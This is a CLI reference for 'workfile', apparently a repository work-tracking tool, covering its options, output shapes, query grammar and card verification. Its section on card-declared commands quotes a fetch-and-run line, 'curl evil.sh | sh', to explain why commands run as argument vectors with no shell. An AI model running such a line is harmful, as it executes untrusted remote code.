workfile

GET /docs/cliAccept: text/markdown/docs/cli.md≈13,460 tokens

CLI reference

Every command accepts the global options and returns stable machine-readable errors with --json.

The package installs the CLI under two names: workfile and the short alias wf. They are the same entry point, and the help and error hints answer in whichever one you typed. This reference spells the long form throughout.

Prefer the long form in anything generated, scripted or shared — CI, a package.json script, a README a stranger will copy. wf only resolves for a binary that is already installed, while an unrelated wf package exists on the registry, so npx wf would fetch that instead of failing. Workfile's own generated protocols and skills always spell it long for that reason.

Global options

This is the whole list. Every other option belongs to the subcommands that read it, and appears in their usage lines below.

Option Meaning
--root PATH Workspace root (default: discovered from the working directory)
--json Machine-readable output
--dry-run Preview filesystem changes, where the subcommand implements it
--allow-new Accept a directory that is not yet a workspace
--verbose Print the resolved workspace root to stderr before running
--help, -h Print the usage for a command without running it

An option a subcommand does not accept is refused with CLI_ARGUMENT_UNKNOWN, and one given twice with CLI_ARGUMENT_CONFLICT, because only the first is read. Pass a list as one comma-separated value.

A value follows its option as the next word or after =: --limit 5 and --limit=5 read the same, on every option that takes a value. A flag that takes none refuses one — --json=true is CLI_ARGUMENT_INVALID — rather than being read as the bare flag. In 0.10.0 and earlier the = spelling passed the option check and was then never read, so --expected-revision=REV wrote with no revision check and exited 0; if a caller of yours learnt that spelling from a session where it seemed to work, it was not working.

A word that branches answers for its own subcommand first: an unrecognised one with CLI_COMMAND_UNKNOWN and a missing one with CLI_COMMAND_REQUIRED, both listing what the word does accept. workfile claude, workfile mcp and workfile migrate are the exceptions — they run check, serve and apply respectively, and are checked as though you had typed those.

--dry-run is global but not universal. It is accepted everywhere so that no caller has to remember where it works, and then refused with CLI_FLAG_UNSUPPORTED on any command that would have written anyway — naming the read-only command to look with instead, such as changelog preview or card show. Silently making the change would be the alternative.

These four read as global for a while and are not. They are listed here because the wrong version of this table shipped, and a reader who learned it from that one needs to find the correction where the mistake was.

Option Subcommands that accept it
--expected-revision REV — reject the write when the file changed since it was read card ac, card archive, card claim, card note, card patch, card release, card reopen, card transition, card write, changelog patch, changelog release, doc move, doc note, doc patch, doc write, memory graduate, memory patch, memory supersede
--force — proceed past the check the command would otherwise fail agents sync, card claim, card patch, card release, card transition, ci sync, claude install, claude sync, init, migrate apply
--reason TEXT — why a check was waived; recorded on the card card claim, card patch, card release, card transition
--read-only — load the workspace read-only: every write answers WORKSPACE_READ_ONLY mcp config, mcp inspect, mcp serve, mcp stdio, ui
--yes — accept the initializer defaults without prompting init

Exit codes: 3 stale revision · 2 configuration error · 1 validation / not found.

Accepted spellings

The dispatcher answers to more words than this reference spells. Each pair below reaches the same code — there is no behavioural difference, and neither spelling is deprecated. The left column is what the rest of this document uses.

Documented Also accepted
workfile doc … workfile docs …
workfile changelog … workfile history …
workfile ui workfile serve
workfile agents check workfile agents status
workfile ci check workfile ci status
workfile changelog add workfile changelog create
workfile memory add workfile memory create
workfile claude install workfile claude sync
workfile mcp serve workfile mcp stdio

They are listed because an alias nobody documents is one nobody can rely on: it resolves today, it is not in --help, and the only way to learn it is to read the dispatcher. A test requires every subcommand the binary accepts to be named somewhere in this file, so a new spelling that skips this table fails the suite rather than arriving undocumented.

Machine-readable answers

--json answers one of three shapes, and the table says which for every subcommand that has one. It is pinned by a test that runs each record-answering command and checks the keys, so the table and the binary cannot drift apart. The vocabulary:

  • { record } — the record under one key, the shape every MCP tool answers (project_get_record, project_card_patch, …), with named extras beside it when there are any.
  • { records, total } — a listing; card list adds offset and truncated.
  • report — a shape of the command's own: doctor's issues, a verify run, a schema.
Command Shape
card show, doc show, changelog show, memory show { record }
card create, card archive, card reopen, card note { record }
card patch, card transition, card release { record, warnings? }warnings names the criteria a move to review left unchecked; it never refuses the move
card write { record, ignored? }ignored names a protocol section that was dropped
card claim { record, warnings, verify? }
doc create, doc patch, doc write, doc note, doc move { record }
changelog add, changelog patch, changelog release { record }
memory add, memory patch, memory graduate, memory supersede { record }
card list { records, total, offset, truncated }
doc list, changelog list, memory list, card reap { records, total } (reap: records only)
card ac, card verify, changelog preview, changelog render, changelog verify, memory verify report
doctor, schema, next, search, upgrade, init report
agents context, agents whoami, agents sync, agents check, agents status, claude install, claude sync, claude check, ci sync, ci check, ci status, mcp inspect, mcp config, migrate plan, migrate schema, migrate apply report

Until 0.12.x the record rows answered the record itself at the top level, and the CLI and the MCP tools disagreed on every record — a caller ended up reading everything with d.get("record", d), which works until a command returns { records }. The CLI converged on the MCP envelope in 0.13.0, the owner's decision of 2026-09-11 on T-0246, taken over documenting the divergence and living with it. The one-line fix for a caller that read the top level is .record. 0.12.x announced the cut on stderr on every record answer and offered WORKFILE_JSON_ENVELOPE=1 to move early; in 0.13.x that variable is accepted and ignored, so a script that set it does not break twice, and 0.14.0 refuses it as unknown.

--fields a,b applies to every { record } answer and cuts the record inside the envelope: card transition T-0042 next --json --fields id,status,revision is the answer without the body that a caller wanted from --quiet. Keys the record does not carry are left out rather than reported null.

Workspace

workfile init [--root PATH] [--yes] [--dry-run] [--name NAME]
workfile version                # the installed package version, one line
workfile schema [--json]        # effective runtime schema (areas, vocabularies, verification policy…)
workfile doctor [--json] [--severity error|warning] [--max-issues N] [--rebuild-cache] [--fix]
workfile doctor --new              # only what appeared since the baseline
workfile doctor --accept-baseline  # record the current state as known
workfile upgrade [--dry-run] [--json]
workfile ui [--host HOST] [--port PORT] [--allowed-host HOST] [--read-only] [--verbose]
workfile next [--actor ACTOR] [--area AREA,AREA] [--limit N] [--json]
workfile search QUERY [--kind card,doc,change,release,memory] [--limit N] [--mode auto|lexical|hybrid] [--json]

ui serves the board on ui.port from project.config.mjs, which is 4747 until a workspace says otherwise. Two projects therefore ask for the same port, so a taken default moves aside: the board comes up on the next free port and says which project holds the one it wanted. A port you named yourself does not move — an explicit --port that is in use fails with UI_PORT_IN_USE rather than landing somewhere you did not ask for. Set ui.port per project to keep each board at an address you can remember.

ui --read-only serves the same board with the workspace loaded read-only: every mutating route answers 409 WORKSPACE_READ_ONLY, the index cache is not written, and the UI drops its editing affordances rather than offering writes that cannot land. That is the shape to publish — a shared board people read.

ui --allowed-host HOST names a host the board may answer to, repeatable and comma-separable. It is required to publish one at all: the server refuses any Host outside its allowlist (the guard that makes DNS rebinding fail), and that list is the loopback set plus --host — which contributes nothing when --host is 0.0.0.0, the value serving from a container needs. Named hosts are added to the loopback set, not swapped for it, so a container healthcheck on localhost keeps working. --allowed-host '*' turns the check off; the server has no authentication of its own, so anything published that way needs something in front of it that does.

next answers what to pick up now: work you already claimed first, then unblocked cards by priority, with unmet dependencies excluded rather than ranked low. Every row carries the reason it was offered. It is the same ranking the project_next MCP tool serves.

doctor reports absolute state, which stops being useful the moment a repository carries inherited debt: a clean run and an unchanged dirty one look alike, so nobody can require it. --accept-baseline writes the current issue set to .project/doctor-baseline.json, and --new then reports only what appeared afterwards, exiting 1 on anything new and 0 otherwise. A text report carrying more than fifty warnings ends by naming both flags: a report that long is where the question comes up, and the last place anyone opens the help (T-0254).

doctor --fix repairs the three findings a repair can be derived from: a duplicate ID on any record kind, a filename whose slug no longer matches the card's title, and protocol trail entries written outside ## Activity. It never invents content, and it never hides what it did not do — a collision it cannot heal is printed as cannot fix: with the reason, and the run still fails on it.

One finding --fix will never touch is parent-all-children-closed: an open card whose every descendant has come to rest — done, review, discarded, deferred or archived, the whole subtree and not one level. Closing the last child does not move the parent and the parent never looks at itself, so such a card sits on the board until somebody's context pays for it. The warning says how many descendants delivered, which discarded children name a still-open twin (work that moved, not work that got done), and the date of the parent's last note rather than updated. It stops there: measured on the board it was written for, a parent with 68 children done and a parent with one child discarded and three pieces of work never carded look identical from the count, and only the first should close.

duplicate-title is the other finding about two cards rather than one: two open cards whose titles carry the same content words — lower-cased, accents and punctuation stripped, articles and prepositions dropped — with at most one word extra on one side. Reported once, on the card filed later, naming the earlier one. The distance is the one measured before the rule shipped: on a 1 510-open-card board, exact titles found nothing and this found five pairs, all of them real. Closed cards are out on both sides, because a new card repeating a finished one's title is a reopen, and that is a different question.

produced-by-invalid (warning) reports a produced_by block that does not read as a producer: the protocol writes only well-formed ones, so it is a hand edit, and a malformed block defeats the one thing the field is for, which is being counted over.

That file is committed on purpose. A baseline under the cache would be per-clone and missing in CI, which is the one place a "nothing new" verdict has to hold, and keeping it in the tree puts newly accepted debt in the diff where a reviewer can see it. Issues are matched on rule, subject and message, so two different problems from the same rule against the same card stay distinct. --new answers "did I make this worse"; plain doctor is still where you go to ask whether anything is wrong at all.

search is lexical by default and becomes hybrid automatically when project.config.mjs declares an integration with a semantic search provider (export const integrations = [...]; search.provider selects one by id when several are declared). --mode lexical opts out for a run; --mode hybrid fails with SEARCH_PROVIDER_UNAVAILABLE instead of silently degrading when no provider is available. --json reports which mode actually ran. Workfile never sends repository content to a network service by itself — a provider only runs if the repository explicitly declares it.

The first-party provider is @illodev/workfile-search-local: on-device embeddings via onnxruntime-web, cached by content hash, fully offline after the first model download.

upgrade is the one command to run after bumping @illodev/workfile: it compares the installed version against the stamp on every managed surface the config owns (agent adapters, CI templates, the Claude Code surface) and resyncs the ones behind — including surfaces whose content is current but whose stamp is old, which the staleness checks deliberately ignore. Managed blocks whose kind no configured target owns are reported instead of silently fossilizing.

upgrade is also the one command that asks whether the package is behind, because nothing else did: the installed version was only ever compared against the stamps inside the workspace, so a repository could sit two releases behind with every check green. It sends one GET to the npm registry — <registry>/@illodev%2Fworkfile/latest, no body, nothing that names the workspace — honouring npm_config_registry and using https://registry.npmjs.org otherwise. A newer published version prints a BEHIND line with the install command for the package manager the workspace uses; the current one prints a latest line saying when the registry was asked. The answer is cached for 24 hours in .project/.cache/update-check.json, a failed attempt for one hour, and the directory is gitignored. The request starts before the surfaces are compared and its line is printed after them, so it delays nothing; with no network, or a registry answering anything but a version, the command prints nothing about it at all. upgrade.check: false in project.config.mjs removes the request entirely. doctor, the generated CI and every other command never reach the network — the interface's footer is the only other place that asks, once per page load, from the same cache.

Query grammar

One grammar, shared by the CLI, the HTTP API, MCP and the interface — the same string returns the same answer everywhere, which it did not before.

Form Meaning
billing retry free text over id, title, metadata and body, ranked
"exact phrase" one term, not two
status:doing field filter; narrows rather than ranking
area:ui type:bug filters combine with AND
-status:done negated filter
-draft negated term
tag: / claim: aliases for tags and claimed_by
/timeout \d+/i regular expression over id, title and body; flags from imsu

Field names are the record's own keys, so the vocabulary follows the runtime schema rather than a second list. An unknown field matches nothing instead of falling back to free text, which would quietly return everything.

Text is compared with diacritics folded, so diseno finds Diseño.

Only the full /pattern/flags form runs as a regex — a slash inside a plain query does not. Regex queries are exact-intent: they bypass the semantic provider, rank title hits above body hits and match count after that, and report mode: "regex". Patterns are capped at 256 characters, bodies scanned to their first 20,000; an invalid pattern fails with SEARCH_REGEX_INVALID.

Your pattern runs in a worker thread with a two-second deadline, and a pattern that exceeds it fails with SEARCH_REGEX_TIMEOUT. Those caps bound the input; nothing bounds backtracking, and a pattern like (a+)+$ takes 57 seconds against a 32-character body — the thread is the only thing with a stop button on it. The ordinary cost is about 50ms of thread startup, paid only by regex queries.

Work (cards)

workfile card list [--status S] [--area A] [--type T] [--priority P] [--parent ID]
                  [--claimed-by ACTOR] [--unclaimed] [--tag TAG] [--updated-since DATE]
                  [--axis NAME=VALUE] [--limit N] [--offset N] [--fields a,b]
                  [--with-body] [--json]
workfile card show ID [--json]
workfile card create --title TITLE [--area AREA] [--type TYPE] [--priority PRIORITY]   # TITLE up to 80 characters
workfile card create --title TITLE --raised reported|derived
                    [--parent ID] [--source PATH] [--tags a,b] [--scope PATH,PATH]
                    [--depends ID,ID] [--related ID,ID] [--origin ID,ID]
                    [--milestone M] [--effort S|M|L]
                    [--start DATE] [--due DATE] [--body TEXT] [--axis NAME=VALUE]
workfile card create --json-input FILE
workfile card patch ID --json-input FILE [--expected-revision REV]
workfile card patch ID --axis NAME=VALUE          # repeatable; empty value clears it
workfile card claim ID [--scope PATH,PATH] [--actor ACTOR] [--force --reason TEXT]
workfile card release ID [--actor ACTOR] [--status next] [--force --reason TEXT]
workfile card transition ID STATUS [--actor ACTOR] [--force --reason TEXT]
workfile card transition ID done [--method local|ci|manual] [--run URL] [--evidence TEXT]
workfile card release ID --status done [--method ci --run URL]
workfile card patch ID --json-input FILE [--method manual --evidence TEXT]
workfile card archive ID [--actor ACTOR]
workfile card reopen ID [--status backlog] [--actor ACTOR]
workfile card write ID [--body-file FILE] [--expected-revision REV]   # or pipe the body on stdin
workfile card note ID --text TEXT [--section NAME] [--actor ACTOR]
workfile card reap [--dry-run] [--older-than HOURS] [--json]
workfile card renumber ID|FILE [--to T-0123] [--actor ACTOR]
workfile card renumber --duplicates [--actor ACTOR]
workfile card ac ID                              # list criteria with their numbers
workfile card ac ID --check 1,3 --check 5        # repeatable, comma lists accepted
workfile card ac ID --uncheck 2
workfile card verify ID [--only gate] [--actor ACTOR]   # run the declared commands
workfile card verify --changed --base main              # every card this branch touched
workfile card verify --changed --base main --close --run URL --commit SHA

Acceptance criteria are the - [ ] items under a ## Acceptance criteria heading. The storage does not change — it renders on GitHub and grep finds it. What ac adds is that they are addressable. Numbers are positional, and every write carries the usual lock and revision check, so a concurrent reorder is refused rather than quietly applied to the wrong line.

card transition ID done refuses while any criterion is unproven and names the ones that are, because done means verified where the code actually runs. --force gets through for the cases the criteria did not anticipate, and takes --reason TEXT, which the card's trail carries in place of the gate:

- 2026-08-05 11:04Z alice@studio · review → done (forced past 3 unproven criteria: the last two need hardware CI does not have)

The reason is required only when --force actually waives something — the gate names what it let through, so a --force that nothing refused records nothing and asks for nothing. Taking another actor's claim is the other waivable gate, and it is written the same way.

card claim also runs the card's declared verify entries once the claim is written, and warns — never refuses — when a verdict disagrees with the card: a criterion marked met whose command no longer holds, or one still unchecked whose command already does. The line says which way it moved and what was proved, because a search exits 0 when it finds and "failed" on an expect: absent entry is the success. Nothing is written — card verify is the only caller that may move a bound box — and a card with no verify block never reaches the runner, so its claim costs what it did before. The commands are bounded by cards.verification.timeoutSeconds; --json carries the run under verify.

Reaching done also writes a verified block into the card's frontmatter — when, how, at which commit, and a digest of the criteria it was proved against. --method says which tier it was:

Method Means Needs
local A command ran on your machine. Self-reported, and what you get when you pass no method.
ci A run anyone can open. --run URL
manual A person judged something no command expresses. --evidence TEXT and an actor

There is no --method forced. forced is what the record says when --force walked the gate past something, derived rather than asked for, and asking for it is refused — what was waived and why is already on the trail line above, and writing it twice would give the record two places to disagree. The three flags are refused, not dropped, on a write that does not close the card: card transition ID review --method ci is an instruction with nowhere to go, and exiting 0 on it is the one failure an agent cannot notice. --evidence is collapsed onto one line and written under the card's ## Notes.

doctor reports, without failing, a card verified against criteria text that has since changed, and a card whose commit is no longer an ancestor of HEAD. Neither is enforced retroactively: they are information about work that is already closed.

Which methods an area accepts

Which of the three a close may use is the project's to declare, per area, under cards.verification.methods:

cards: {
    areas: ["api", "web", "docs"],
    verification: {
        methods: { api: ["ci"], docs: ["ci", "manual"], "*": ["ci", "local"] }
    }
}

* answers for every area not named, including the ones somebody adds next month — without it a new area escapes the policy in silence. Declare nothing and every method is accepted, which is what your project does today.

Closing a card by a method its area does not accept is refused with CARD_VERIFICATION_METHOD_REFUSED, and the message names what the area does accept. Passing no method does not exempt you: a close with no --method records local, so under { api: ["ci"] } a bare card transition ID done on an api card is refused too — a gate you get past by typing less is not a gate. workfile schema --json reports the policy under cards.verification, so an agent can read it instead of discovering it by being refused.

It is the third gate a close meets, and it is waived the same way as the other two: --force with --reason TEXT gets through, the trail line names the area's verification policy among what it waived, and the card then records forced rather than the method that was refused. That is also why a forced close must not carry --method: the record has one answer for how the card was proved, and on a forced close that answer is forced.

doctor reports two more findings, neither of them failing. A done card whose recorded method the policy no longer accepts is verification-method-unaccepted — tightening a policy must not invalidate work that already shipped. A policy naming an area cards.areas does not declare is verification-policy-area-unknown, reported rather than refused at config load: removing an area should not stop the workspace from loading, and a config that will not load takes the doctor that would explain it with it.

card create --json-input FILE is the form to reach for when the card has a body. It takes the whole record — title, body, parent, source, tags, scope — in one call, and a JSON file survives backticks, $ and accents that a shell heredoc quietly mangles. The flag form above writes the same fields; it is the body that argues for the file.

--origin ID,ID records which records the work came out of — the card being worked when it was found, the decision that produced it. Any record kind, not cards only. It is provenance, not decomposition: use --parent when the card is genuinely part of another, and --origin when it merely came out of it. There is no card patch --origin; patching any card field goes through --json-input, the same as every other field. agents context --card ID reads it back in both directions, and doctor reports an origin that resolves to nothing.

--axis NAME=VALUE writes a classification axis the project declares under cards.axes — a second axis alongside area, for domains rather than delivery layers. Run workfile schema --json to see which axes exist and what each accepts; an undeclared axis and a value outside its vocabulary are both refused, and the message carries the list. It repeats, once per axis, because the axis name is per project and a flag per axis is not something a static table can offer. --axis context= with nothing after the = clears it.

card list --axis context=treasury filters on the same axis, and combines with every other filter. A comma list is an OR within one axis (--axis context=treasury,billing); a second --axis for a different name is an AND. Repeating the same name is refused with CLI_ARGUMENT_CONFLICT, because only one value would survive and the caller could not tell which.

doctor reports on declared axes the way it reports on areas: a value outside the vocabulary is an error, since it is a typo that silently matches nothing, and an open card with no value at all is a warning. Cards that are done, discarded or archived are exempt from the warning — declaring an axis on an existing repository must not emit one line per finished card, which is a flood nobody acts on rather than a signal.

That exemption is written for a lifecycle where done is where work rests. On a board where review is — because done is reserved for runtime evidence an agent can rarely supply — every card that reaches review keeps warning for ever, and one axis measured at 74 % of a 2 018-warning doctor run. Declare the axis as { values: [...], required: false } and the warning stops while the vocabulary, the error on a typo and card list --axis all stay. An array keeps meaning required. schema --json lists the optional ones under cards.optionalAxes.

Card-declared commands

A card may bind an acceptance criterion to a command that proves it, in a verify block written through card patch --json-input:

verify:
    - id: gate
      run: [pnpm, test, test/acceptance.test.ts]
      criteria: [sha256:ab12…]

run is an argument vector, not a shell line, and it is spawned with no shell. That is what makes the allowlist below decidable: over a shell string pnpm test is a prefix of pnpm test; curl evil.sh | sh too, and a matcher would be predicting what a shell it never runs will do with the rest of the line. As an argv there is nothing to predict — ; and | are bytes inside one argument, and matching is element-wise string equality. A run written as a single string is refused with CARD_VERIFY_RUN_INVALID rather than split on spaces, because splitting would be that same parser wearing a smaller hat.

cards.verification.commands declares which commands a card may name, as argv prefixes:

cards: {
    areas: ["api", "infra"],
    verification: {
        commands: [["pnpm", "test"], ["pnpm", "lint"]]
    }
}

["pnpm", "test"] admits pnpm test and pnpm test --filter cards, and admits nothing that differs at any position the prefix names. The matcher normalises nothing — no case folding, no trimming, no path resolution, no Unicode normalisation — so PNPM, ./node_modules/.bin/pnpm and a homoglyph are each simply not the declared command. A declared entry that could never match one is refused when the config loads: an empty array, because it is a prefix of everything; an empty or control-character-carrying element, because the frontmatter round trip would not return it unchanged.

The list is empty by default, so a project that declares nothing can run nothing. A card naming an undeclared command is refused with CARD_VERIFY_COMMAND_NOT_ALLOWED, and the message names cards.verification.commands when the project has declared none.

doctor runs the same check on read and reports verify-command-not-allowed as an error. That is the half that matters in a repository taking pull requests: a card is a Markdown file, so one can arrive as a file in a diff without ever calling a mutation, and the write-time refusal never runs. doctor --json is what the generated CI workflow exists to run, so the error is what turns the pull request red.

Be clear about what the allowlist buys. It bounds which command a card may name; it cannot bound what that command does, because every command worth allowing dispatches through a file the same pull request can edit — pnpm test reads package.json, make check reads the Makefile. It is anti-escalation on a branch you trust, and it makes a declared command reviewable in one place. Containment for a branch you do not trust is a different control entirely, and belongs to the job rather than to the card: no secrets, no write token, and no evidence written back from a head you did not review.

A card that already carries a command the project refuses is refused every write until the block goes, so it cannot be quietly closed around. Clear it and then move the card:

printf '{"verify": null}' | workfile card patch T-0042 --json-input -
workfile card transition T-0042 discarded

Running them

workfile card verify ID [--only ENTRY,ENTRY] [--actor ACTOR] [--json]

Runs each declared entry and reports pass or fail per entry, then checks the criteria the passing entries prove. It is the only thing that can: a bound criterion is one card ac --check refuses, so without this command a card that binds its criteria is a card nothing can close.

Each run is spawned as an argument vector with no shell, from the workspace root, with stdin closed — a command that stops to ask a question would otherwise wait for a terminal nobody is watching. Entries run one at a time: two declared commands are usually two suites over one working tree, and deciding a project's build is safe to run twice at once is not this tool's call to make on its behalf. --only runs a subset, --json prints the whole report, and the command exits 1 unless every entry that ran passed.

What a run writes, and what it does not. A criterion's box records what a command decided, so only a command that decided something writes one:

Outcome Means The bound criteria
passed Exit 0. Checked.
failed Any other exit status. Unchecked — a proof that no longer reproduces is not a proof.
timed-out Killed at cards.verification.timeoutSeconds. Untouched.
errored Never started: no such command, not executable. Untouched.

The last two are deliberate and are not a smaller version of failed. Killing a command at the timeout is us giving up and a machine with no such command has decided even less; neither is a fact about the criterion. Unchecking there would let a run on the wrong machine erase a proof a right one produced, and the criterion is machine-owned, so card ac --check could not put it back. Both still exit 1, and both print why.

An entry that changes a criterion's state leaves a line on the card's trail naming it, because a box that moved because a subprocess exited otherwise has no author in the record at all:

- 2026-08-06 09:12Z alice@studio · verify gate: pnpm test acceptance passed, checked #1, #3
- 2026-08-06 11:40Z alice@studio · verify gate: pnpm test acceptance failed (exit 1), unchecked #1, #3

A run that changed nothing writes no line, the same rule a repeated card transition follows. --actor names who ran it, defaulting the way every other card command's does.

There is no --dry-run, and it is refused rather than ignored. The flag previews filesystem changes, and a run that spawns every declared command and then skips the write-back has already done the part worth previewing. workfile card show ID --json reports the verify block, which is what looking first means here.

The commands run outside the card's write lock — they take minutes, and a lock held across them would block every note, claim and status move for as long as a suite runs. The card is read again after the last command exits and the bindings are resolved against that reading, so a criterion reworded while the tests were running is no longer bound to the entry and the write is refused by name rather than applied to whatever line moved into that position.

How long a command gets is the project's to declare:

cards: {
    verification: {
        commands: [["pnpm", "test"]],
        timeoutSeconds: 600
    }
}

Ten minutes by default, between 1 second and 12 hours, and there is no way to say "no timeout": a command that never exits would otherwise hold an unattended CI job forever. workfile schema --json reports the effective value under cards.verification.

On Windows, a .cmd shim cannot be started without a shell. pnpm, npm and everything in node_modules/.bin are .cmd files there, and Node refuses to spawn one unless a shell parses the line — which is the thing the argv model exists to avoid. Such an entry reports errored and changes nothing, on that platform only. Declare something Windows can start directly, such as ["node", "node_modules/vitest/vitest.mjs", "run"].

This is a CLI command and has no MCP tool or HTTP route. Executing a card's commands is something a person asks for at a terminal, and a tool that let an agent trigger it over a long-lived server connection is a wider decision than the one this implements.

Claims carry an actor and optional path scope; the server refuses overlapping scopes and releases the claim when a card leaves doing.

Sequential IDs are allocated per clone, so two branches can mint the same ID and git merges both files without a conflict. Cards are the least exposed kind: a card is created once, by whoever picks up the work, while a changelog fragment is written by every branch that changes anything user-visible. doctor --fix heals all of them — cards, changelog fragments, managed documents and memory records — and picks the same survivor on every clone: the oldest created keeps the ID and the rest move to the next free one, ties broken by path. A released fragment is the exception and always keeps it, because a fragment cut into a version is frozen and the release record lists it by ID. card renumber --duplicates stays card-scoped and reports every other collision under skipped.

When the moved ID was unique, every reference inside .project/ is rewritten; after a collision the references are ambiguous by construction, so they are listed under review instead of being silently repointed. Only the ID half of the filename moves — the title slug survives — and doctor --fix brings a card's slug back in step afterwards, which it does not do for the other kinds.

A collision is refused rather than repaired when moving a record would not be the correction — two released fragments carrying one ID (describe it in a new fragment instead), a release record, an indexed file outside docs.managedPath declaring a managed ID in its frontmatter, or one ID spanning two record kinds. For each of those doctor --fix prints a cannot fix: line naming the reason and the run still exits 1, because the error is still there.

Filter flags take comma-separated values (--type bug,task) and combine with AND. --json omits the Markdown body and reports bodyBytes instead; ask for it with --with-body, or pick exactly what you need with --fields. Responses carry total, offset and truncated.

show takes --fields too, on every record kind: card show T-0042 --json --fields id,revision is how a caller obtains the revision a guarded patch needs without reading the body first. Keys the record does not carry are left out rather than reported as null. A patch without --expected-revision applies and says nothing — the guard is optional by design, and the patch's own --json answer already carries the new revision.

Options are validated per subcommand, not per command word. card show --status doing and card patch ID --json-input p.json --title "..." are refused with CLI_ARGUMENT_UNKNOWN, and the message names the subcommand the flag does belong to. They used to exit 0 having silently dropped the flag, which an agent cannot detect.

An option given twice is refused with CLI_ARGUMENT_CONFLICT, because only the first occurrence is read — pass a list as one comma-separated value. card ac --check, --uncheck and card create|patch --axis are the exceptions and may repeat, because something reads every occurrence.

Only --root, --json, --dry-run and --allow-new are global.

A value a filter cannot parse is refused with CLI_OPTION_INVALID, never applied as a filter that matches nothing. --updated-since takes YYYY-MM-DD (an RFC 3339 timestamp is accepted and read as its date); --limit, --offset, --max-issues, --older-than, --occurrences and --port take whole numbers. --updated-since 2026-7-1 used to exit 0 with "total": 0, and --limit abc to return an empty page under a non-zero total.

A claim has a lifecycle, not just a flag. The card records claimed_by and claimed_at; the live signal lives in .project/.cache/activity/sessions/ and therefore outside git, because a heartbeat written into frontmatter would leave the working tree permanently dirty. doctor reports card-claim-stale past cards.claimLeaseHours and card-claim-orphaned when a session stops signalling, and workfile card reap releases them.

What produced a write

The trail says who and when; produced_by says what. Declare it and every card write records it beside the actor — as a via:MODEL/REASONING token on the trail line and as a produced_by block in frontmatter, so card list --json can be counted over by model without parsing prose:

WORKFILE_MODEL=claude-opus-4-1 WORKFILE_REASONING=high workfile card transition T-0042 review
# - 2026-09-11 18:40Z alvaro@local#597ecdc9 via:claude-opus-4-1/high · doing → review

It is self-reported and the block says so (basis: self-reported): an agent can set an environment variable to anything, so read it as a label the writer chose, never as an attestation. The halves come from, in order, WORKFILE_MODEL then ANTHROPIC_MODEL; WORKFILE_REASONING then CLAUDE_EFFORT (which Claude Code exports to the Bash tool and to hooks) then CLAUDE_CODE_EFFORT_LEVEL; and last the session file the Claude hook writes, which carries model when a SessionStart payload included it and effort.level from every tool call. A half nobody declared is written as undeclared. A value that is not a label — more than 64 characters, or outside [A-Za-z0-9._:+-] — is refused with a note on stderr and the write records undeclared instead, which is what keeps the field from carrying anything but a name. With nothing declared the record is byte-identical to today, and the block is the last writer that declared: a write with no declaration puts no token on its trail line and leaves the block alone, so a human's note after an agent's close does not erase which model closed it. claimed_by and the guard's actor comparison are untouched either way.

Docs

workfile doc list [--query TEXT] [--managed] [--json]
workfile doc show ID [--json]
workfile doc create --title TITLE [--kind KIND] [--status STATUS] [--folder PATH]   # TITLE up to 120 characters
workfile doc create --json-input FILE   # recommended: body and metadata in one call
workfile doc move ID --folder PATH [--expected-revision REV]
workfile doc patch ID --json-input FILE [--expected-revision REV]
workfile doc write ID [--body-file FILE] [--expected-revision REV]   # or pipe the body on stdin
workfile doc note ID --text TEXT [--section NAME] [--actor ACTOR]

doc write replaces the body and leaves the frontmatter as it is; doc note appends one timestamped, attributed line under a heading, creating it when absent. They are the document forms of card write and card note, and exist because doc patch takes the body as one field among the rest — so before them the only way to change a paragraph of a document edited over hours was to keep a working copy outside the repository and send the whole body back each time.

A card title is refused past 80 characters and a document title past 120, before anything is written. workfile schema --json reports both under cards.limits.title and docs.limits.title, so a caller composing a record can read the bound instead of meeting it; the refusal says how long the title was.

Indexed documents (from configured globs) get deterministic PATH-* IDs and are read-only; managed documents live in .project/docs/ with DOC-NNNN IDs.

Managed documents are loaded recursively, so folders work even when they are created by hand. docs.layout decides where new documents are written — kind (the default) groups them into a folder named after the document kind, flat uses the managed root — and --folder PATH overrides it for a single command. The path must stay inside docs.managedPath; --folder "" targets the root. workfile doc move relocates a document without changing its ID or its content.

History (changelog)

workfile changelog list [--unreleased] [--visibility public|internal] [--json]
workfile changelog show ID [--json]
workfile changelog add --title TITLE [--type fixed] [--area AREA]
workfile changelog add --json-input FILE   # recommended: body and metadata in one call
workfile changelog patch ID --json-input FILE [--expected-revision REV]
workfile changelog preview [--fragments CHG-0001,CHG-0002]
workfile changelog release VERSION [--fragments CHG-0001,CHG-0002] [--title TITLE]
workfile changelog release VERSION --amend [--title TITLE] [--date YYYY-MM-DD]   # newest release only
workfile changelog release VERSION --amend --drop CHG-0002   # a fragment cut by mistake goes back to unreleased
workfile changelog render [--visibility public|internal] [--write]
workfile changelog verify

Release version validation follows changelog.releaseStrategy: semver, calendar or freeform.

--amend corrects the newest release only. It changes --title, --date, --commit, --body and --tags, and refuses --fragments rather than ignoring it. --drop CHG-… is the one change it makes to what a release consumed: the fragment's file moves back to unreleased/, its id leaves the release record, and a rendered changelog that exists is rewritten — so a duplicate cut into a release no longer needs git to undo (T-0253). An id whose file is already gone is only taken off the list, which repairs release-missing-fragment. A release keeps at least one fragment.

changelog verify diagnoses the changelog the way doctor does — the same issues under the same codes, release-missing-fragment included — and exits 1 when any of them is an error, with --json as well as without. It used to read an index nobody had diagnosed and answer 0 errors on any tree (T-0252).

Memory

workfile memory list [--collection learnings] [--status active] [--json]
workfile memory show ID [--json]
workfile memory add COLLECTION --title TITLE [--status STATUS]
workfile memory add COLLECTION --json-input FILE   # recommended: body and metadata in one call
workfile memory patch ID --json-input FILE [--expected-revision REV]
workfile memory graduate ID --to CONV-0001,DOC-0001
workfile memory supersede ID --by ID
workfile memory verify   # the same verdict and exit code as changelog verify, for memory

add accepts singular aliases (learning, decision, incident, convention, context) as well as collection ids. Collections and prefixes:

Collection Prefix Purpose
learnings LRN Reusable observations with confidence and occurrences
decisions ADR Proposed / accepted / rejected / superseded decisions
incidents INC Operational events with severity and resolution metadata
conventions CONV Durable rules for humans and agents
context CTX Useful but potentially expiring project state

Agents

workfile agents sync [--targets agents-md,claude,cursor,copilot]
workfile agents check [--targets ...]
workfile agents context --card T-0001 [--limit 20]
workfile agents whoami [--json]

sync writes compact managed blocks (version + SHA-256 digest) into AGENTS.md, CLAUDE.md, .cursor/rules/ or .github/copilot-instructions.md without touching unrelated content. context returns a bounded, prioritized context bundle for a card.

